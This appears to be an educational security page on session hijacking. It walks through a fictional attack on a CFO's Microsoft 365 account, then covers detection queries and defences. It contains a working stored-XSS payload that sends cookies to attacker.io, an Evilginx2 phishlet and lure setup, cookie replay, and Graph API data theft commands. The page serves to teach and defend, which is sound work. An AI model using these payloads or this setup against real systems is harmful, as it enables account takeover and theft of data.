GET https://app.corp.com/api/user - Cookie: sessionId=a9f2b3c4... STOLEN Set-Cookie: ESTSAUTH=0.AXoAk3F7mB9q... captured by proxy POST https://attacker.io/c2?c=sessionId%3Dabc123%3BcsrfToken%3Dxyz REPLAY Cookie: sessionId=a9f2b3c4 injected → outlook.office.com XSS document.cookie → exfiltrated 1,847 tokens in 6h session harvest AiTM Evilginx2 session captured - MFA bypassed - ESTSAUTHPERSISTENT 90 days FIXATION Forced session ID: SESSID=attacker_known_value → victim authenticated SNIFF Wireshark ARP-poison capture: sessionId plaintext over HTTP coffee-shop WiFi INFOSTEALER Chrome SQLite cookies.db extracted → 3,284 active session tokens GET https://app.corp.com/api/user - Cookie: sessionId=a9f2b3c4... STOLEN Set-Cookie: ESTSAUTH=0.AXoAk3F7mB9q... captured by proxy POST https://attacker.io/c2?c=sessionId%3Dabc123%3BcsrfToken%3Dxyz REPLAY Cookie: sessionId=a9f2b3c4 injected → outlook.office.com XSS document.cookie → exfiltrated 1,847 tokens in 6h session harvest AiTM Evilginx2 session captured - MFA bypassed - ESTSAUTHPERSISTENT 90 days FIXATION Forced session ID: SESSID=attacker_known_value → victim authenticated SNIFF Wireshark ARP-poison capture: sessionId plaintext over HTTP coffee-shop WiFi INFOSTEALER Chrome SQLite cookies.db extracted → 3,284 active session tokens
[ MITRE ATT&CK T1539 / T1185 / T1550.004 - Web Session Cookie ]

SESSION HIJACKING Stealing Active Tokens to Assume Authenticated Identities

Session hijacking bypasses authentication entirely. Instead of cracking passwords, attackers steal the session token issued after login - the digital proof of identity that websites accept in place of credentials. Once stolen, the attacker is indistinguishable from the legitimate user.

NO PASSWORD REQUIRED - VALID SESSION = VALID USER
Sessions Hijacked Daily
1.3M
Estimated daily session tokens stolen across global attack campaigns targeting enterprise web apps
MFA Bypass Rate
100%
Session hijacking fully bypasses MFA - the token was issued after MFA was already completed by the real user
AiTM Phishing Kits
$500
Cost of off-the-shelf Adversary-in-the-Middle phishing kits that automatically harvest session cookies at scale
Token Lifetime (M365)
90 days
Default Microsoft 365 refresh token lifetime - a stolen token can grant persistent access for up to 3 months
01

Anatomy of a Session Cookie

02

Attack Vectors

🕸️
Cross-Site Scripting (XSS)
T1059.007 - JavaScript Injection
Injecting document.cookie harvesting JS into a vulnerable page. When any user visits, their session token is silently POSTed to the attacker's server. Requires the target site to lack HttpOnly flag.
🔌
Adversary-in-the-Middle (AiTM)
T1185 - Browser Session Hijacking
Attacker sits between victim and legitimate site - proxying all traffic in real time. Captures the session cookie issued after MFA completion. Tools: Evilginx2, Modlishka, Muraena. Bypasses all MFA factors automatically.
📡
Network Sniffing / MITM
T1040 - Network Sniffing
On unencrypted HTTP or via SSL stripping, session cookies travel in plaintext. ARP poisoning redirects victim's traffic through attacker's machine. Coffee shop WiFi - a single Wireshark capture on an HTTP site yields every cookie on the network.
🧩
Malware / Infostealer
T1539 - Steal Web Session Cookie
Infostealers (Redline, Raccoon, Vidar) extract all browser-stored cookies from Chrome/Firefox SQLite databases and send to C2. Bypasses Secure/HttpOnly flags entirely - accesses the raw cookie database directly from disk.
💉
Cross-Site Request Forgery (CSRF)
T1550.004 - Use Alternate Auth Material
Forces victim's browser to execute attacker-chosen requests using the victim's active session. No token theft needed - the browser sends the cookie automatically. Exploits lack of SameSite cookie attribute and missing CSRF tokens.
🔮
Session Fixation
T1550 - Use Alternate Auth Material
Attacker sets a known session ID before authentication via URL parameter or cookie injection. Victim authenticates with the attacker's pre-set session ID - the server elevates that session. Attacker already knows the ID and uses it immediately.
03

Attack Flow Diagram - XSS + AiTM

XSS PATH 🕵️ ATTACKER Injects XSS INJECT 🌐 VULN SITE script injected VICTIM VISITS 🖥️ BROWSER JS runs, steals cookie EXFIL INFOSTEALER PATH 🦠 INFOSTEALER reads cookie DB 🍪 SESSION TOKEN CAPTURED AiTM PATH 🕵️ EVILGINX AiTM proxy 🪝 FAKE LOGIN relays to real site MFA BYPASSED COOKIE STOLEN REPLAY 👾 ATTACKER BROWSER injects stolen cookie AUTHED REQUEST 🏢 TARGET APP Sees valid session Grants full access No re-auth required MFA: already done ✓ 💀 BREACH Exfil/ Persist ① ATTACKER ② STEAL TOKEN ③ TOKEN CAPTURED ④ REPLAY ATTACK ⑤ FULL ACCESS ⑥ BREACH
04

Step-by-Step Walkthrough

Phase 01 - Pre-Attack Reconnaissance

TARGET SELECTION

🎯
ATTACKER GOAL
Microsoft 365 Corporate Tenant - C-Suite Email

Before deploying an AiTM phishing infrastructure, the attacker profiles the target organization's authentication stack. Knowing the exact login portal, SSO provider, and MFA method allows them to build a pixel-perfect proxy that victims won't question.

  • Identify target's email provider via MX record lookup - Microsoft 365 confirmed
  • Map login URL: login.microsoftonline.com with tenant ID harvested from metadata
  • Identify MFA method via failed login attempt - Microsoft Authenticator push
  • Enumerate target employees via LinkedIn - identify CFO, VPs, and IT admins as priority targets
  • Register convincing lookalike domain: login-microsoft-corp-auth.com
bash - target profiling
# Identify mail provider $ dig MX targetcorp.com +short 10 targetcorp-com.mail.protection.outlook.com → Microsoft 365 confirmed   # Get M365 tenant ID from OpenID config $ curl https://login.microsoftonline.com/targetcorp.com/.well-known/openid-configuration | jq .issuer "https://sts.windows.net/3a8f92d1-bc4e-4a2f-9..."   # Enumerate employees via LinkedIn scrape $ python3 linkedin_scrape.py --org "targetcorp" Found: Sarah Mitchell - CFO Found: James Okafor - IT Director Email pattern: firstname.lastname@targetcorp.com
Phase 02 - AiTM Infrastructure

EVILGINX2 PROXY SETUP

🪝
TECHNIQUE
Adversary-in-the-Middle - Real-Time Cookie Intercept

Evilginx2 is a reverse proxy that sits between the victim and the legitimate Microsoft login page. It transparently forwards all traffic - including the MFA challenge and approval - while silently copying the session cookie the moment Microsoft issues it. The victim successfully logs in; the attacker gets the token.

  • Deploy Evilginx2 on a VPS with the lookalike domain and a valid TLS certificate (auto Let's Encrypt)
  • Configure the o365 phishlet - a pre-built profile that mirrors Microsoft's exact login flow
  • The proxy intercepts the ESTSAUTH and ESTSAUTHPERSISTENT cookies issued post-MFA
  • Sends spear-phishing email with the lure URL pointing to the proxy
  • Victim completes real MFA on their phone - proxy captures the resulting authenticated session cookie
evilginx2 - proxy configuration
: config domain login-microsoft-corp-auth.com : config ip 104.21.xx.xx : phishlets enable o365 [+] o365 phishlet: ENABLED [+] TLS certificate: issued (Let's Encrypt) [+] Proxy listening: 443   : lures create o365 Lure #1 path: /verify-account-2fa Full URL: https://login-microsoft-corp-auth.com/verify-account-2fa   # Waiting for victim to click... [14:32:07] New visitor: 203.0.113.42 [14:32:31] Credentials: s.mitchell@targetcorp.com : P@ssw0rd2024 [14:32:45] MFA completed by victim - session captured!
Phase 03 - Session Token Extraction

THE COOKIE IS CAPTURED

🍪
STOLEN ASSET
ESTSAUTH + ESTSAUTHPERSISTENT Cookies

The moment Sarah completes her MFA approval, Microsoft issues a pair of authenticated session cookies. These cookies are the proof of her completed authentication. Evilginx2 captures these in transit and stores them - Sarah is successfully logged into Microsoft 365, and so, silently, is the attacker.

  • ESTSAUTH - primary session cookie, valid for current browser session
  • ESTSAUTHPERSISTENT - persistent token, valid for up to 90 days
  • Cookie contains encoded user identity, tenant ID, and authentication claims - no password needed
  • Sarah sees a successful Microsoft 365 login - she has no idea the proxy intercepted anything
  • Attacker exports the cookies from Evilginx2 and imports them into a fresh browser profile
evilginx2 - captured session data
: sessions   id | username | phishlet | captured ----|------------------------------|----------|-------- 4 | s.mitchell@targetcorp.com | o365 | passwd,tokens   : sessions 4   Username : s.mitchell@targetcorp.com Password : P@ssw0rd2024 ESTSAUTH : 0.AXoAk3F7mB9q... [SESSION] ESTSAUTHPERSISTENT : 1.AXoAk... [90 DAYS] tokens (JSON) copied to clipboard [!] Full M365 access - MFA irrelevant now
Phase 03b - Alternative Vector

XSS COOKIE HARVESTING

🕸️
TECHNIQUE
Reflected / Stored XSS - document.cookie Exfil

Where AiTM targets a specific user, XSS harvests cookies from anyone visiting a vulnerable page. A single stored XSS payload in a comment field, product review, or profile bio silently exfiltrates the session cookie of every authenticated user who views that content - thousands of tokens at once.

  • Attacker finds a stored XSS vulnerability in an e-commerce site's product review field
  • Injects payload into a popular product review - every authenticated viewer's cookie is sent to C2
  • HttpOnly flag prevents this - if the site correctly sets HttpOnly, document.cookie returns empty
  • Many legacy apps still lack HttpOnly - thousands of enterprise apps remain vulnerable
  • Collected cookies imported into Cookie Editor browser extension - instant session impersonation
XSS payload - stored in review field
// Malicious payload injected into review text // Executes for every user who views the page   <script> fetch('https://attacker.io/c2?' + 'c=' + encodeURIComponent(document.cookie) + '&u=' + encodeURIComponent(location.href), { mode: 'no-cors' }) </script>   # Attacker C2 log - incoming tokens c=sessionId=abc123; csrfToken=def456 &u=shop.com/product/42 c=sessionId=xyz789; csrfToken=ghi012 &u=shop.com/product/42 [+] 1,847 session tokens harvested - 6 hours
Phase 04 - Session Replay

INJECTING THE STOLEN TOKEN

👾
STATUS
Logged In as Sarah Mitchell - CFO

The attacker opens a fresh browser profile, navigates to Microsoft 365, and uses a browser extension to inject Sarah's captured cookies. The server receives a request with a valid, authenticated session token and grants immediate access - no username, no password, no MFA prompt.

  • Cookie Editor extension used to inject ESTSAUTH and ESTSAUTHPERSISTENT cookies
  • Navigate to outlook.office.com - server sees valid session, grants immediate inbox access
  • Microsoft 365 shows Sarah Mitchell as logged in - full Exchange, SharePoint, Teams access
  • Access Origin IP is a residential VPN in Sarah's home country - geo-anomaly check passes
  • No additional authentication required - token already carries full auth claims including MFA completion
GET HTTPS Request to outlook.office.com with stolen cookies
GEThttps://outlook.office.com/mail/
Host:outlook.office.com
User-Agent:Mozilla/5.0 (Windows NT 10.0)
Cookie:ESTSAUTH=0.AXoAk3F7mB9qR2...
ESTSAUTHPERSISTENT=1.AXoAk...
 
--- Server Response ---
HTTP/1.1200 OK
X-MS-User:s.mitchell@targetcorp.com
X-MS-Tenant:targetcorp.com
Content-Type:text/html
 
✓ Authenticated as Sarah Mitchell (CFO)
✓ MFA: Satisfied (encoded in token)
✓ Role: Member - Exchange/SharePoint/Teams
Phase 05 - Post-Compromise Exploitation

LATERAL MOVEMENT & ESCALATION

🔀
SCOPE ACHIEVED
Full M365 Tenant Access via CFO Session

With Sarah's session, the attacker has access to her entire Microsoft 365 environment. CFO-level access yields financial data, M&A communications, payroll records, and the ability to send trusted emails to the entire organization. The session token is also valid for all M365-connected apps via OAuth.

  • Search email for: wire transfer, acquisition, board, salary, confidential - immediate hits
  • Access SharePoint Finance site - download Q3 earnings before public release (insider trading risk)
  • Grant attacker's app OAuth access to mailbox - persistent access even after session expires
  • BEC attack: send wire transfer instruction from Sarah's real account to Finance team
  • Enumerate all Azure AD users and groups via Microsoft Graph API using Sarah's access token
microsoft graph API - as sarah mitchell
# Extract access token from browser session $ roadrecon gather --access-token <sarah_token> [+] Enumerating Azure AD tenant... [+] Users: 2,847 Groups: 312 Apps: 89   # Download all files in Finance SharePoint $ python3 GraphSpy.py --token <token> --download-site "Finance" Downloading: Q3-Earnings-CONFIDENTIAL.xlsx Downloading: ProjectAcquisition-NDA.pdf Downloading: Executive-Compensation-2024.xlsx   # Grant persistent OAuth access to attacker app POST /oauth2/v2.0/token → attacker app registered [!] Persistent mail access granted - survives password reset
Phase 06 - Detection & Response

DETECTING THE HIJACK

🔍
TRIGGER
Concurrent Session from Two IPs - UEBA Alert

Session hijacking is detected by anomalies in the session itself - not the credentials. The legitimate user and the attacker may be simultaneously active, from different IP addresses, in different geographies, or with abnormal access patterns. Behavioral analytics on session metadata, not just login events, is critical.

  • Microsoft Sentinel alert: Sarah's account accessing from two IPs simultaneously - her office and a VPN endpoint
  • Impossible travel flag: office login at 09:00 New York, VPN login at 09:04 Frankfurt - same session
  • Unusual Graph API query volume: 2,847 user enumeration calls in 4 minutes from Sarah's token
  • New OAuth app consent granted outside normal business process - DLP alert triggers
  • IR response: revoke all active sessions via Azure AD, force token invalidation, initiate forensic review
microsoft sentinel - detection query
// Detect concurrent sessions from multiple IPs SigninLogs | where UserPrincipalName == "s.mitchell@targetcorp.com" | where TimeGenerated > ago(1h) | summarize IPs = make_set(IPAddress), Locs = make_set(Location) by SessionId | where array_length(IPs) > 1   SessionId: a9f2b... IPs: [203.0.x, 185.220.x] Locs: [New York, Frankfurt] → CONCURRENT SESSION ANOMALY ⚠   # Revoke all sessions immediately $ Revoke-AzureADUserAllRefreshToken -ObjectId <sarah_id> [+] All tokens invalidated - attacker evicted
STEP 1 OF 7
05

Detection Signals & Log Analysis

Live Session Log Stream
Simulated authentication event log - spot the hijack in the stream.
09:01:14 INFO s.mitchell login OK - 203.0.113.10 (New York, NY) - UserAgent: Chrome/Windows
09:01:15 INFO MFA approved - push notification s.mitchell
09:01:16 INFO Session issued: a9f2b3c4 - ESTSAUTHPERSISTENT set
09:02:44 INFO j.okafor login OK - 203.0.113.14 (New York, NY)
09:03:55 INFO s.mitchell GET /mail - 203.0.113.10
09:04:02 WARN s.mitchell GET /mail - 185.220.101.47 [NEW IP - DE] ← same session token a9f2b3c4
09:04:03 WARN Concurrent session detected - session a9f2b3c4 active from 2 IPs
09:04:18 CRIT s.mitchell bulk email read - 847 messages accessed in 2min [185.220.x]
09:05:01 CRIT Graph API: /users enumeration - 2847 records [s.mitchell token]
09:05:33 CRIT SharePoint: 3 files downloaded - "CONFIDENTIAL" in filename [185.220.x]
09:06:44 CRIT OAuth consent: new app "DataSync Pro" granted Mail.ReadWrite [s.mitchell]
09:07:12 INFO SOC ALERT: Session hijacking detected - IR ticket #4492 opened
09:08:00 INFO All s.mitchell refresh tokens REVOKED by admin
Detection Signal Matrix
Key behavioral signals to hunt for in session and authentication logs.
Signal Severity Detection Source
Same session token used from two distinct IPs simultaneously CRITICAL Azure AD / Okta Logs
Impossible travel: login location changes faster than physically possible CRITICAL UEBA / Identity Protection
Bulk data access immediately after login from unusual IP CRITICAL CASB / DLP / Graph Audit
New OAuth application consent granted outside normal process CRITICAL M365 Audit Log / Defender
Known Tor/VPN exit node IP in authentication logs MEDIUM TI Feed / Conditional Access
User-Agent string inconsistency between legitimate and attacker sessions MEDIUM SIEM Correlation Rule
XSS payload delivered via outbound request to external domain with cookie param LOW–MED WAF / Proxy Logs
06

Defensive Countermeasures

🔒
HttpOnly + Secure Cookie Flags
The single most impactful control against XSS-based cookie theft. HttpOnly prevents JavaScript access to the cookie entirely. Secure restricts transmission to HTTPS. Set both on every session cookie, every time.
Set-Cookie: sessionId=xyz;
HttpOnly; Secure; SameSite=Strict
🛡️
Phishing-Resistant MFA (FIDO2)
Hardware security keys (YubiKey) or device-bound passkeys are cryptographically bound to the legitimate domain. An AiTM proxy on a lookalike domain cannot relay the authentication challenge - FIDO2 is immune to AiTM session hijacking at the authentication layer.
Authenticator: FIDO2 / WebAuthn
Domain-bound: login.company.com only
🌐
Content Security Policy (CSP)
CSP HTTP headers restrict which domains can receive data from your pages. A strict CSP blocks the fetch() or XMLHttpRequest call in XSS payloads from reaching the attacker's C2 - even if the XSS fires, the exfiltration is blocked.
Content-Security-Policy:
connect-src 'self' api.company.com;
⏱️
Short Token Lifetimes + Rotation
Minimize the attack window by issuing short-lived session tokens (15-30 minutes) with silent refresh via secure httpOnly refresh tokens. A stolen token that expires in 30 minutes limits the attacker's window. Microsoft 365's 90-day default is a significant exposure.
Access token TTL: 15-60 minutes
Refresh token: httpOnly, rotated on use
🔍
Session Binding (IP / Device)
Bind session tokens to client fingerprint: IP address range, TLS fingerprint (JA3), or device certificate. If the session token is replayed from a different IP or device, force re-authentication. Conditional Access policies enforce device compliance checks on every sensitive action.
if session.ip != request.ip:
require_reauth()
🚧
Web Application Firewall (WAF)
Deploy a WAF with XSS detection rules to block injection of script tags in user-supplied input. Encode all output - never reflect unsanitized user data into HTML. Input validation rejects <script>, event handlers, and javascript: URI schemes.
📊
UEBA & Concurrent Session Detection
Alert when the same session token is used from two distinct IP addresses concurrently - the clearest signal of active hijacking. Impossible travel detection and User-Agent consistency checks further surface stolen session usage that has slipped past perimeter controls.
🔗
OAuth App Governance
Require admin approval for all new third-party OAuth app consents. Alert on any new app being granted broad permissions (Mail.ReadWrite, Files.ReadWrite.All) outside a ticketed change request. Microsoft Defender for Cloud Apps provides OAuth app risk scoring and one-click revocation.
🏷️
Anti-Phishing Domain Controls
Monitor for lookalike domain registrations targeting your brand using DMARC reporting, brand-monitoring services, and certificate transparency log analysis. Register common typosquat variants proactively. Strict DMARC enforcement prevents email sent from spoofed sender domains reaching victims.